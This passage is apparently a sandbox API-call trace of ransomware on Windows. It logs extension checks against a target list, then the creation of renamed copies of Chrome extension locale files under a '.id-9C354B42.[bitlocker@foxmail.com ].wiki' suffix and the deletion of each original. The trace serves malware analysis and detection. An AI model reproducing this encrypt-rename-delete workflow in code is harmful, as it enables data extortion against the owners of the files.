(lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\fil\\messages.json") returned 152 [0175.145] lstrlenW (lpString=".zip") returned 4 [0175.145] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0175.145] lstrlenW (lpString=".rar") returned 4 [0175.145] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0175.145] lstrlenW (lpString=".bz2") returned 4 [0175.145] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0175.145] lstrlenW (lpString=".7z") returned 3 [0175.146] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0175.146] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\fil\\messages.json") returned 152 [0175.146] lstrlenW (lpString=".dbf") returned 4 [0175.146] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0175.146] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\fil\\messages.json") returned 152 [0175.146] lstrlenW (lpString=".1cd") returned 4 [0175.146] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0175.146] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\fil\\messages.json") returned 152 [0175.146] lstrlenW (lpString=".jpg") returned 4 [0175.146] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0175.146] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\fil\\messages.json") returned 152 [0175.146] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\fil\\messages.json") returned 152 [0175.146] lstrlenW (lpString=".doc") returned 4 [0175.146] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0175.146] lstrlenW (lpString=".docx") returned 5 [0175.146] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0175.146] lstrlenW (lpString=".pdf") returned 4 [0175.146] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0175.146] lstrlenW (lpString=".xls") returned 4 [0175.146] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0175.146] lstrlenW (lpString=".xlsx") returned 5 [0175.146] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0175.146] lstrlenW (lpString=".ppt") returned 4 [0175.146] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0175.146] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\fil\\messages.json") returned 152 [0175.146] lstrlenW (lpString=".zip") returned 4 [0175.146] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0175.146] lstrlenW (lpString=".rar") returned 4 [0175.146] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0175.146] lstrlenW (lpString=".bz2") returned 4 [0175.147] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0175.147] lstrlenW (lpString=".7z") returned 3 [0175.147] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0175.147] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\fil\\messages.json") returned 152 [0175.147] lstrlenW (lpString=".dbf") returned 4 [0175.147] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0175.147] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\fil\\messages.json") returned 152 [0175.147] lstrlenW (lpString=".1cd") returned 4 [0175.147] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0175.147] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\fil\\messages.json") returned 152 [0175.147] lstrlenW (lpString=".jpg") returned 4 [0175.147] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0175.147] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0175.147] lstrlenW (lpString="messages.json") returned 13 [0175.147] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\fr\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\fr\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0175.148] GetFileSizeEx (in: hFile=0x1b4, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=226) returned 1 [0175.148] CloseHandle (hObject=0x1b4) returned 1 [0175.148] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\fr\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\fr\\messages.json")) returned 0x2020 [0175.148] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\fr\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\fr\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0175.148] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\fr\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\fr\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0175.148] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0175.148] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0175.148] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\fr\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\fr\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0175.149] GetLastError () returned 0x0 [0175.149] ReadFile (in: hFile=0x1b4, lpBuffer=0x3d10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesRead=0x315fed4*=0xe2, lpOverlapped=0x0) returned 1 [0175.150] WriteFile (in: hFile=0x19c, lpBuffer=0x3d10020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesWritten=0x315fc9c*=0xf0, lpOverlapped=0x0) returned 1 [0175.150] ReadFile (in: hFile=0x1b4, lpBuffer=0x3d10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0175.151] WriteFile (in: hFile=0x19c, lpBuffer=0x3d10020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesWritten=0x315fc9c*=0xee, lpOverlapped=0x0) returned 1 [0175.151] SetEndOfFile (hFile=0x19c) returned 1 [0175.151] CloseHandle (hObject=0x19c) returned 1 [0175.151] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0175.151] SetEndOfFile (hFile=0x1b4) returned 1 [0175.152] CloseHandle (hObject=0x1b4) returned 1 [0175.152] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\fr\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0175.152] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\fr\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\fr\\messages.json")) returned 1 [0175.152] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\fr\\messages.json") returned 151 [0175.153] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\fr\\messages.json") returned 151 [0175.153] lstrlenW (lpString=".doc") returned 4 [0175.153] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0175.153] lstrlenW (lpString=".docx") returned 5 [0175.153] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0175.153] lstrlenW (lpString=".pdf") returned 4 [0175.153] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0175.153] lstrlenW (lpString=".xls") returned 4 [0175.153] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0175.153] lstrlenW (lpString=".xlsx") returned 5 [0175.153] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0175.153] lstrlenW (lpString=".ppt") returned 4 [0175.153] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0175.153] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\fr\\messages.json") returned 151 [0175.153] lstrlenW (lpString=".zip") returned 4 [0175.153] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0175.153] lstrlenW (lpString=".rar") returned 4 [0175.153] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0175.153] lstrlenW (lpString=".bz2") returned 4 [0175.153] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0175.153] lstrlenW (lpString=".7z") returned 3 [0175.153] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0175.153] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\fr\\messages.json") returned 151 [0175.153] lstrlenW (lpString=".dbf") returned 4 [0175.153] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0175.153] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\fr\\messages.json") returned 151 [0175.153] lstrlenW (lpString=".1cd") returned 4 [0175.153] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0175.153] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\fr\\messages.json") returned 151 [0175.153] lstrlenW (lpString=".jpg") returned 4 [0175.153] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0175.154] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\fr\\messages.json") returned 151 [0175.154] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\fr\\messages.json") returned 151 [0175.154] lstrlenW (lpString=".doc") returned 4 [0175.154] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0175.154] lstrlenW (lpString=".docx") returned 5 [0175.154] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0175.154] lstrlenW (lpString=".pdf") returned 4 [0175.154] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0175.154] lstrlenW (lpString=".xls") returned 4 [0175.154] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0175.154] lstrlenW (lpString=".xlsx") returned 5 [0175.154] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0175.154] lstrlenW (lpString=".ppt") returned 4 [0175.154] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0175.154] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\fr\\messages.json") returned 151 [0175.154] lstrlenW (lpString=".zip") returned 4 [0175.154] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0175.154] lstrlenW (lpString=".rar") returned 4 [0175.154] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0175.154] lstrlenW (lpString=".bz2") returned 4 [0175.154] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0175.154] lstrlenW (lpString=".7z") returned 3 [0175.154] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0175.154] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\fr\\messages.json") returned 151 [0175.154] lstrlenW (lpString=".dbf") returned 4 [0175.154] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0175.154] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\fr\\messages.json") returned 151 [0175.154] lstrlenW (lpString=".1cd") returned 4 [0175.154] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0175.154] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\fr\\messages.json") returned 151 [0175.155] lstrlenW (lpString=".jpg") returned 4 [0175.155] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0175.155] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0175.155] lstrlenW (lpString="messages.json") returned 13 [0175.155] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\he\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\he\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0175.155] GetFileSizeEx (in: hFile=0x1b4, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=238) returned 1 [0175.155] CloseHandle (hObject=0x1b4) returned 1 [0175.155] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\he\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\he\\messages.json")) returned 0x2020 [0175.155] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\he\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\he\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0175.156] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\he\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\he\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0175.156] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0175.156] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0175.156] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\he\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\he\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0175.156] GetLastError () returned 0x0 [0175.156] ReadFile (in: hFile=0x1b4, lpBuffer=0x3d10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesRead=0x315fed4*=0xee, lpOverlapped=0x0) returned 1 [0175.157] WriteFile (in: hFile=0x19c, lpBuffer=0x3d10020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesWritten=0x315fc9c*=0xf0, lpOverlapped=0x0) returned 1 [0175.158] ReadFile (in: hFile=0x1b4, lpBuffer=0x3d10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0175.158] WriteFile (in: hFile=0x19c, lpBuffer=0x3d10020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesWritten=0x315fc9c*=0xee, lpOverlapped=0x0) returned 1 [0175.158] SetEndOfFile (hFile=0x19c) returned 1 [0175.158] CloseHandle (hObject=0x19c) returned 1 [0175.158] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0175.158] SetEndOfFile (hFile=0x1b4) returned 1 [0175.159] CloseHandle (hObject=0x1b4) returned 1 [0175.159] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\he\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0175.159] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\he\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\he\\messages.json")) returned 1 [0175.160] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\he\\messages.json") returned 151 [0175.160] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\he\\messages.json") returned 151 [0175.160] lstrlenW (lpString=".doc") returned 4 [0175.160] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0175.160] lstrlenW (lpString=".docx") returned 5 [0175.160] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0175.160] lstrlenW (lpString=".pdf") returned 4 [0175.160] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0175.160] lstrlenW (lpString=".xls") returned 4 [0175.160] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0175.160] lstrlenW (lpString=".xlsx") returned 5 [0175.160] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0175.160] lstrlenW (lpString=".ppt") returned 4 [0175.160] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0175.160] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\he\\messages.json") returned 151 [0175.160] lstrlenW (lpString=".zip") returned 4 [0175.160] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0175.160] lstrlenW (lpString=".rar") returned 4 [0175.160] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0175.160] lstrlenW (lpString=".bz2") returned 4 [0175.160] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0175.160] lstrlenW (lpString=".7z") returned 3 [0175.160] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0175.160] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\he\\messages.json") returned 151 [0175.160] lstrlenW (lpString=".dbf") returned 4 [0175.160] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0175.160] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\he\\messages.json") returned 151 [0175.160] lstrlenW (lpString=".1cd") returned 4 [0175.160] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0175.161] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\he\\messages.json") returned 151 [0175.161] lstrlenW (lpString=".jpg") returned 4 [0175.161] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0175.161] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\he\\messages.json") returned 151 [0175.161] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\he\\messages.json") returned 151 [0175.161] lstrlenW (lpString=".doc") returned 4 [0175.161] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0175.161] lstrlenW (lpString=".docx") returned 5 [0175.161] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0175.161] lstrlenW (lpString=".pdf") returned 4 [0175.161] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0175.161] lstrlenW (lpString=".xls") returned 4 [0175.161] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0175.161] lstrlenW (lpString=".xlsx") returned 5 [0175.161] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0175.161] lstrlenW (lpString=".ppt") returned 4 [0175.161] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0175.161] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\he\\messages.json") returned 151 [0175.161] lstrlenW (lpString=".zip") returned 4 [0175.161] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0175.161] lstrlenW (lpString=".rar") returned 4 [0175.161] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0175.161] lstrlenW (lpString=".bz2") returned 4 [0175.161] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0175.161] lstrlenW (lpString=".7z") returned 3 [0175.161] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0175.162] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\he\\messages.json") returned 151 [0175.162] lstrlenW (lpString=".dbf") returned 4 [0175.162] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0175.162] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\he\\messages.json") returned 151 [0175.162] lstrlenW (lpString=".1cd") returned 4 